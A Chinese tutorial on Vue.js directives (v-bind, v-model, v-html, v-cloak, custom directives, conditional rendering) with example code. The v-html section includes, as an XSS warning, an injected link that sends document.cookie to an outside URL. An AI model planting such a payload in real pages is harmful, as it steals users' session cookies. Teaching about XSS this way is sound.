常用指令
指令语法和插值语法
Vue框架中的所有指令的名字都以v-
开始,完整语法格式<HTML标签 v-指令名:参数="javascript表达式(表达式的结果是一个值)"></HTML标签>
:
- 指令的职责是当表达式的值改变时,将其产生的连带影响,响应式地作用于DOM元素
- 不是所有的指令都有参数和表达式,如
v-once
不需要参数和表达式,v-bind
既需要参数又需要表达式
指令语法和插值语法的联系与区别
-
内容
:指令语法中的表达式
和插值语法中{{}}
里面的内容是一样的,如data中声明的变量,函数等,常量,合法的javascript表达式(表达式的结果是一个值)
-
在指令表达式中使用数据时外层不用声明
{{}}
,即使没有使用指令属性值内部也不能直接使用插值语法 -
书写位置
: 插值语法是写在标签体当中的,指令语法是写在标签的属性位置上 -
渲染
:插值语法和指令语法都需要Vue框架的编译器进行编译生成一段HTML代码,然后交给浏览器进行渲染
v-once和v-if
v-once
: 只会渲染元素一次(用于优化更新性能),随后即使data中的数据发生改变也不会重新渲染(元素及其所有的子节点将被视为静态内容并跳过)
v-if="表达式"
: 要求表达式的执行结果是个布尔类型,true表示这个指令所在的标签会被渲染到浏览器当中,false表示不会
<!-- 准备一个容器 -->
<div id="app">
<h1>{{msg}}</h1>
<h1 v-once>{{msg}}</h1>
<h1 v-if="a > b">v-if测试:{{msg}}</h1>
<!--页面第一次加载的时候渲染一次,以后即使users数组如何发生变化都不会再渲染-->
<ul>
<li v-for="user,index of users" :key="index" v-once>{{user}}</li>
</ul>
</div>
<!-- vue程序 -->
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
a : 10,
b : 11,
users : ['jack', 'lucy', 'james']
}
})
</script>
v-bind(单向数据绑定)
v-bind:参数(标签支持属性)="表达式"
,可以省略指令名bind
即:参数="表达式"
: 让HTML标签的某个属性的值关联data中的数据产生动态效果(data ====> 视图)
- 编译的时候v-bind后面的
参数名
会被编译为HTML标签的属性名
,原则上参数名可以随便写,但只有参数名写成该HTML标签支持的属性名时才会有意义 - 指令的表达式中可以关联data中的数据,当data中的数据发生改变时表达式的执行结果也会发生变化即标签的属性值发生变化
编译前:
<HTML标签 v-bind:参数="表达式"></HTML标签>
编译后:
<HTML标签 参数="表达式的执行结果"></HTML标签>
<!-- 准备一个容器 -->
<div id="app">
<!--参数名写成该HTML标签支持的属性名时才有意义,要不然标签没有这属性改变data的值也没有什么效果-->
<span v-bind:xyz="msg"></span>
<!--这个表达式带有单引号,说明'msg'是常量-->
<span v-bind:xyz="'msg'"></span>
<!--v-bind使用及其简写形式-->
<img v-bind:src="imgPath"> <br>
<img :src="imgPath"> <br>
<!--让文本框value这个数据变成动态的实现动态数据绑定-->
<input type="text" name="username" :value="username"> <br>
<!--使用v-bind也可以让超链接的地址动态-->
<a :href="url">走起</a> <br>
</div>
<!--vue程序-->
<script>
new Vue({
el : '#app',
data : {
msg : 'Hello Vue!',
imgPath : '../img/1.jpg',
username : 'jackson',
url : 'https://www.baidu.com'
}
})
</script>
</body>
v-model(双向数据绑定)
v-model:value="表达式"
可以省略参数名:value
即v-model="表达式"
: 让HTML标签的某个属性的值和data中的数据互相关联产生动态效果(data <===> 视图)
- v-model只能使用在表单类元素上如
input标签、select标签、textarea标签的value属性
上面,因为只有这些元素给用户提供输入界面改变data中的数据
v-model指令提供了一些方法可以对收集到的字符串进行操作
v-model.number
: 可以将收集到的字符串转化为数字保存v-model.trim
: 去除字符串的前后空白v-model.lazy
: 失去焦点后才开始收集表单数据
<!--准备一个容器-->
<div id="app">
v-bind指令:<input type="text" v-bind:value="name1"><br>
v-model指令:<input type="text" v-model:value="name2"><br>
<!--以下报错因为v-model不能使用在这种元素上-->
<a v-model:href="url">百度</a>
v-bind指令:<input type="text" :value="name1"><br>
v-model指令:<input type="text" v-model="name2"><br>
消息1:<input type="text" :value="msg"><br>
消息2:<input type="text" v-model="msg"><br>
</div>
<!--vue程序-->
<script>
new Vue({
el : '#app',
data : {
name1 : 'zhangsan',
name2 : 'wangwu',
url : 'https://www.baidu.com',
msg : 'Hello Vue!'
}
})
</script>
v-text和v-html
v-text
: 将表达式的内容以覆盖的形式
填充到标签体当中,而且填充内容中的HTML标签只会当做一个普通的字符串处理,等同于原生JS中innerText
v-html
: 将表达式的内容以覆盖的形式
填充到标签体当中,而且将填充的内容当做HTML代码解析,等同于原生JS中的innerHTML
- v-html用到用户提交的内容上时可能会导致
XSS攻击
,即通过利用网页开发时留下的漏洞,将恶意的JavaScript代码注入到网页中诱导用户加载并执行
<body>
<div id="app">
<!--v-text指令-->
<h1>{{msg}},test</h1>
<h1 v-text="msg">test</h1>
<h1 v-text="name">test</h1>
<h1 v-text="s1"></h1>
<!--v-html指令-->
<h1 v-html="s1"></h1>
<ul>
<li v-for="(m,index) of messageList" v-html="m"></li>
</ul>
<textarea cols="30" rows="10" v-model.lazy="message"></textarea>
<br>
<button @click="save">保存留言</button>
<!--用户在留言中恶意植入以下信息-->
<a href="javascript:location.href='http://www.baidu.com?'+document.cookie">点击查看详情</a>
</div>
<script>
const vm = new Vue({
el: '#app',
data: {
msg: 'Vue的其它指令',
name: 'jack',
s1: '<h1>欢迎大家学习Vue!</h1>',
message: '',
messageList: []
},
methods: {
save() {
this.messageList.push(this.message)
}
}
})
</script>
</body>
v-cloak
v-cloak
指令使用在标签当中用来解决胡子的闪现问题,当Vue还没来得及对模板语句的语法规则进行编译时,此时页面会显示插值语句本事字符串
- v-cloak不需要指定属性值,只需要配合CSS指定样式隐藏标签, 当Vue实例接管容器之后会对模板语句进行编译,然后删除这个指令,此时标签就会显示出来
<head>
<style>
/*当前页面中所有带有v-cloak属性的标签都隐藏起来*/
[v-cloak] {
display: none;
}
</style>
</head>
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
</div>
<script>
// 模拟延迟加载Vue.js文件
setTimeout(() => {
let scriptElt = document.createElement('script')
scriptElt.src = '../js/vue.js'
// 自动追加到末尾
document.head.append(scriptElt)
}, 3000)
// 延迟渲染
setTimeout(() => {
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令'
}
})
}, 4000)
</script>
</body>
v-pre
v-pre指令
可以不编译带有该指令的标签从而提高编译速度,不需要编译的标签一定是没有使用Vue语法规则即不能带有指令语法以及插值语法
<body>
<div id="app">
<h1 v-cloak>{{msg}}</h1>
<h1 v-pre>欢迎学习Vue框架</h1>
<!--使用了v-pre后标签体中的插值语法就不会被编译-->
<h1 v-pre>{{msg}}</h1>
</div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : 'Vue的其它指令',
}
})
</script>
</body>
vue的自定义指令
自定义指令分为局部指令和全局指令,并且定义的时候分为函数式和对象式
- 关于自定义指令的名字: v- 不需要写, Vue官方建议指令的名字要全部小写 , 如果是多个单词的话使用"-"进行衔接
- 自定义指令的函数中的this是window
自定义指令函数式的回调函数
- 回调函数有两个参数:第一个参数是真实的dom元素,第二个参数是标签与指令之间绑定关系的对象
- 回调函数的执行时机包括两个: 第一个是标签和指令第一次绑定的时候, 第二个是模板被重新解析的时候
自定义指令对象式的钩子函数可以完成更加细致的功能
- bind函数是当元素与指令初次绑定的时候自动被调用
- inserted函数是当元素被插入到页面之后自动被调用
- update函数是当模板重新解析的时候自动被调用
<body>
<div id="app">
<h1>自定义指令</h1>
<div v-text="msg"></div>
<div v-text-danger="msg"></div>
用户名:<input type="text" v-bind:value="username">
<!--需要一个指令,可以和v-bind指令完成相同的功能,同时将该元素的父级元素的背景色设置为蓝色-->
<div>
用户名:<input type="text" v-bind-blue="username">
</div>
</div>
<div id="app2">
<div v-text-danger="msg"></div>
<div>
用户名:<input type="text" v-bind-blue="username">
</div>
</div>
<script>
// 定义全局的指令(可以在所有的容器中使用)
// 函数式
Vue.directive('text-danger', function(element, binding){
//对于自定义指令来说,函数体当中的this是window,而不是vue实例
console.log(this)
element.innerText = binding.value
element.style.color = 'red'
})
// 对象式
Vue.directive('bind-blue', {
bind(element, binding){
element.value = binding.value
console.log(this)
},
inserted(element, binding){
element.parentNode.style.backgroundColor = 'skyblue'
console.log(this)
},
update(element, binding){
element.value = binding.value
console.log(this)
}
})
const vm2 = new Vue({
el : '#app2',
data : {
msg : '欢迎学习Vue框架!',
username : 'lucy'
}
})
const vm = new Vue({
el : '#app',
data : {
msg : '自定义指令',
username : 'jackson'
},
// 定义局部的指令(只能在当前容器中使用)
directives : {
// 函数式
'text-danger' : function(element, binding){
console.log('@')
element.innerText = binding.value
element.style.color = 'red'
},
'bind-blue' : function(element, binding){
element.value = binding.value
console.log(element)
// 为什么是null,原因是这个函数在执行的时候,指令和元素完成了绑定,但是只是在内存当中完成了绑定,元素还没有被插入到页面当中。
console.log(element.parentNode)
element.parentNode.style.backgroundColor = 'blue'
}
// 对象式(含有三个钩子函数,在特定的时间节点会被自动调用)
'bind-blue' : {
// 元素与指令初次绑定的时候,这个函数自动被调用
bind(element, binding){
element.value = binding.value
},
// 元素被插入到页面之后,这个函数自动被调用
inserted(element, binding){
element.parentNode.style.backgroundColor = 'blue'
},
// 当模板重新解析的时候,这个函数会被自动调用
update(element, binding){
element.value = binding.value
}
}
}
})
</script>
</body>
条件渲染
v-if、v-else-if、v-else、v-show
v-if、v-else-if、v-else
指令用于条件性地加载元素,这块内容只会在指令的表达式返回true时才被加载,连续使用的时候元素中间不能断开
- 注意: 条件表达的值为false时该
元素不会被渲染到页面上即元素没有加载
,并不是通过修改元素的CSS样式的display属性来达到显示和隐藏的 - v-if有更高的切换开销,元素会被销毁和重建,适用于运行时条件表达式的值很少改变的情况,可以提高页面加载速度快,提高页面的渲染效率
v-show
: 按照条件显示一个元素,通过修改元素的CSS样式的display属性
来达到元素的显示和隐藏
- v-show有更高的初始渲染开销,因为DOM元素一定会被渲染,适用于一个元素在页面上被频繁的隐藏和显示
- v-show不支持在template标签上使用,也不能和v-else搭配使用
template与v-if
v-if是一个指令必须依附于某个元素,如果想要渲染或隐藏多个元素代码会比较繁琐,可以在template标签上
使用v-if,v-else和v-else-if指令统一渲染或隐藏多个元素
- template元素是一个
不可见的包装器元素
,即最后渲染的HTML代码并不会包含这个元素,不会影响到页面的结构
<body>
<div id="app">
<h1>{{msg}}</h1>
<div v-if="false">{{msg}}</div>
<div v-if="2 === 1">{{msg}}</div>
<button @click="counter++">点我加1</button>
<h3>{{counter}}</h3>
<img :src="imgPath1" v-if="counter % 2 === 1">
<!-- <img :src="imgPath2" v-if="counter % 2 === 0"> -->
<!--为了提高效率,可以使用v-else指令,v-if和v-else之间不能断开-->
<img :src="imgPath2" v-else>
温度:<input type="number" v-model="temprature"><br><br>
天气:<span v-if="temprature <= 10">寒冷</span>
<span v-else-if="temprature <= 25">凉爽</span>
<span v-else>炎热</span>
<div v-show="false">你可以看到我吗</div>
<!--template标签/元素只是起到占位的作用,不会真正的出现在页面上也不会影响页面的结构-->
<template v-if="counter === 10">
<input type="text">
<input type="checkbox">
<input type="radio">
</template>
</div>
<script>
const vm = new Vue({
el : '#app',
data : {
msg : '条件渲染',
counter : 1,
imgPath1 : '../img/1.jpg',
imgPath2 : '../img/2.jpg',
temprature : 0
}
})
</script>
</body>